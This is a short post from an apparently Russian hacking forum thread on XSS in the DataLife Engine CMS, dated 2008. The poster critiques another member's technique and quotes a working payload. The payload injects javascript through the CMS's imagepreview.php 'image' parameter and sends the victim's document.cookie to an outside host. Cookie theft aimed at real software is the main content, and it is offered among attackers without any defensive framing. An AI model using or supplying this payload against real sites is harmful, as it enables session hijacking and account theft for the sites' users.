Тема: XSS в DataLife Engine. Обсуждение.
Показать сообщение отдельно

  #2  
Старый 02.08.2008, 13:37
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию
И зачем ты делаешь document.location?
Ты хочешь словить пустые куки?

Цитата:
http://target.ru/engine/modules/imagepreview.php?image=javascript:img=new Image();img.src="http://site.ru/s.gif?"+document.cookie;